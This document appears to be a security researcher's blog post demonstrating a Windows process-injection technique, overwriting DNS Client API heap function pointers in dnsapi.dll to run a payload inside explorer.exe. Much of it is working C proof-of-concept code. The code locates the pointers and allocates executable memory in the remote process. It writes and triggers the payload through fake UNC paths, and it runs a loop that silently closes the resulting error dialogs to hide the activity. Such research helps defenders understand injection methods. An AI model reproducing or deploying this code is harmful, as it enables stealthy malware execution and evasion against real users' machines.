Introduction

This is a quick response to Code Execution via surgical callback overwrites by Adam. He suggests overwriting DNS memory functions to facilitate process injection. This post will demonstrate how the injection works with explorer.exe. It was only tested on a 64-bit version of Windows 10, so your experience may be different from mine. Nevertheless, the method does work.

DNS Client API DLL

When first loaded into a process, dnsapi!Heap_Initialize will assign the address of functions in the .text segment to variables in the .data segment. Figure 1 shows disassembly of this while figure 2 shows the function pointers.

pDnsAllocFunction is assigned dnsapi!Dns_HeapAlloc while pDnsFreeFunction is assigned dnsapi!Dns_HeapFree . Every time a DnsQuery API is called, both of these functions are executed via the pointers.

DNS Caching Resolver Service

This runs from inside dnsrslvr.dll and is loaded by a service host (svchost.exe) process. dnsrslvr!ResolverInitialize will assign the address of functions in the .text segment to variables in the .data segment. Figure 3. shows disassembly of this while figure 4 shows the function pointers.

pDnsAllocFunction is assigned dnsapi!DnsApiAlloc while pDnsFreeFunction is assigned dnsapi!DnsApiFree .

Finding Pointers

Load dnsapi.dll into local process, obtain the virtual address of the .data segment. Find two pointers with addresses inside the .text segment. Once found, subtract the base address of dnsapi.dll to obtain the relative virtual address (RVA). Then add the base address of dnsapi.dll in remote process. The following code from the PoC illustrates this.

LPVOID GetDnsApiAddr ( DWORD pid ) { LPVOID m , rm , va = NULL ; PIMAGE_DOS_HEADER dos ; PIMAGE_NT_HEADERS nt ; PIMAGE_SECTION_HEADER sh ; DWORD i , cnt , rva = 0 ; PULONG_PTR ds ; // does remote have dnsapi loaded? rm = GetRemoteModuleHandle ( pid , L" dnsapi.dll " ) ; if ( rm = = NULL ) return NULL ; // load local copy m = LoadLibrary ( L" dnsapi.dll " ) ; dos = ( PIMAGE_DOS_HEADER ) m ; nt = RVA2VA ( PIMAGE_NT_HEADERS , m , dos - > e_lfanew ) ; sh = ( PIMAGE_SECTION_HEADER ) ( ( LPBYTE ) & nt - > OptionalHeader + nt - > FileHeader . SizeOfOptionalHeader ) ; // locate the .data segment, save VA and number of pointers for ( i = 0 ; i < nt - > FileHeader . NumberOfSections ; i + + ) { if ( * ( PDWORD ) sh [ i ] . Name = = * ( PDWORD ) " .data " ) { ds = RVA2VA ( PULONG_PTR , m , sh [ i ] . VirtualAddress ) ; cnt = sh [ i ] . Misc . VirtualSize / sizeof ( ULONG_PTR ) ; break ; } } // for each pointer for ( i = 0 ; i < cnt - 1 ; i + + ) { // if two pointers side by side are not to code, skip it if ( ! IsCodePtr ( ( LPVOID ) ds [ i ] ) ) continue ; if ( ! IsCodePtr ( ( LPVOID ) ds [ i + 1 ] ) ) continue ; // calculate VA in remote process va = ( ( PBYTE ) & ds [ i ] - ( PBYTE ) m ) + ( PBYTE ) rm ; break ; } return va ; }

Injection

Overwriting either of the function pointers and invoking the DNS API to resolve a hostname allows us to control the flow of execution inside a remote process. Unless the DNS_QUERY_BYPASS_CACHE option is specified by a DNS API client, the DNS cache service may be used to resolve a hostname and that’s where it’s possible to control flow inside the service.

Executing In Explorer

Is the easiest way to demonstrate this method of injection because we can easily force it to resolve hostnames via the IShellWindows interface. Microsoft already provide an example of how to do this in sample code.

Network Dialogs

Since we’re deliberately using a fake UNC path to force invocation of the DNS Client API, explorer will display errors similar to what’s shown in figure 5.

To hide these, a thread is created with an endless loop to find and automatically close them. It’s a bit crude and there may be a more elegant way of closing these, but it works for the PoC.

// for any "Network Error", close the window VOID SuppressErrors ( LPVOID lpParameter ) { HWND hw ; for ( ; ; ) { hw = FindWindowEx ( NULL , NULL , NULL , L" Network Error " ) ; if ( hw ! = NULL ) { PostMessage ( hw , WM_CLOSE , 0 , 0 ) ; } } }

Proof of Concept

To demonstrate the method of injection works, the following code outlines each step. For more details, view the full source here.

VOID dns_inject ( LPVOID payload , DWORD payloadSize ) { LPVOID dns , cs , ptr ; DWORD pid , cnt , tick , i , t ; HANDLE hp , ht ; SIZE_T wr ; HWND hw ; WCHAR unc [ 32 ] = { L'\\' , L'\\' } ; // UNC path to invoke DNS api // 1. obtain process id for explorer // and try read address of function pointers GetWindowThreadProcessId ( GetShellWindow ( ) , & pid ) ; ptr = GetDnsApiAddr ( pid ) ; // 2. create a thread to suppress network errors displayed ht = CreateThread ( NULL , 0 , ( LPTHREAD_START_ROUTINE ) SuppressErrors , NULL , 0 , NULL ) ; // 3. if dns api not already loaded, try force // explorer to load via fake UNC path if ( ptr = = NULL ) { tick = GetTickCount ( ) ; for ( i = 0 ; i < 8 ; i + + ) { unc [ 2 + i ] = ( tick % 26 ) + 'a' ; tick > > = 2 ; } ShellExecInExplorer ( unc ) ; ptr = GetDnsApiAddr ( pid ) ; } if ( ptr ! = NULL ) { // 4. open explorer, backup address of dns function. // allocate RWX memory and write payload hp = OpenProcess ( PROCESS_ALL_ACCESS , FALSE , pid ) ; ReadProcessMemory ( hp , ptr , & dns , sizeof ( ULONG_PTR ) , & wr ) ; cs = VirtualAllocEx ( hp , NULL , payloadSize , MEM_RESERVE | MEM_COMMIT , PAGE_EXECUTE_READWRITE ) ; WriteProcessMemory ( hp , cs , payload , payloadSize , & wr ) ; // 5. overwrite pointer to dns function // generate fake UNC path and trigger execution WriteProcessMemory ( hp , ptr , & cs , sizeof ( ULONG_PTR ) , & wr ) ; tick = GetTickCount ( ) ; for ( i = 0 ; i < 8 ; i + + ) { unc [ 2 + i ] = ( tick % 26 ) + L'a' ; tick > > = 2 ; } ShellExecInExplorer ( unc ) ; // 6. restore dns function, release memory and close process WriteProcessMemory ( hp , ptr , & dns , sizeof ( ULONG_PTR ) , & wr ) ; VirtualFreeEx ( hp , cs , 0 , MEM_DECOMMIT | MEM_RELEASE ) ; CloseHandle ( hp ) ; } // 7. terminate thread TerminateThread ( ht , 0 ) ; }

Summary

Processes have thousands of function pointers which are executed in response to I/O from the system or a user interface. Automating a way to monitor access to these function pointers while simultaneously sending I/O from an external process would no doubt uncover many more methods similar to the method discussed here. Source PoC.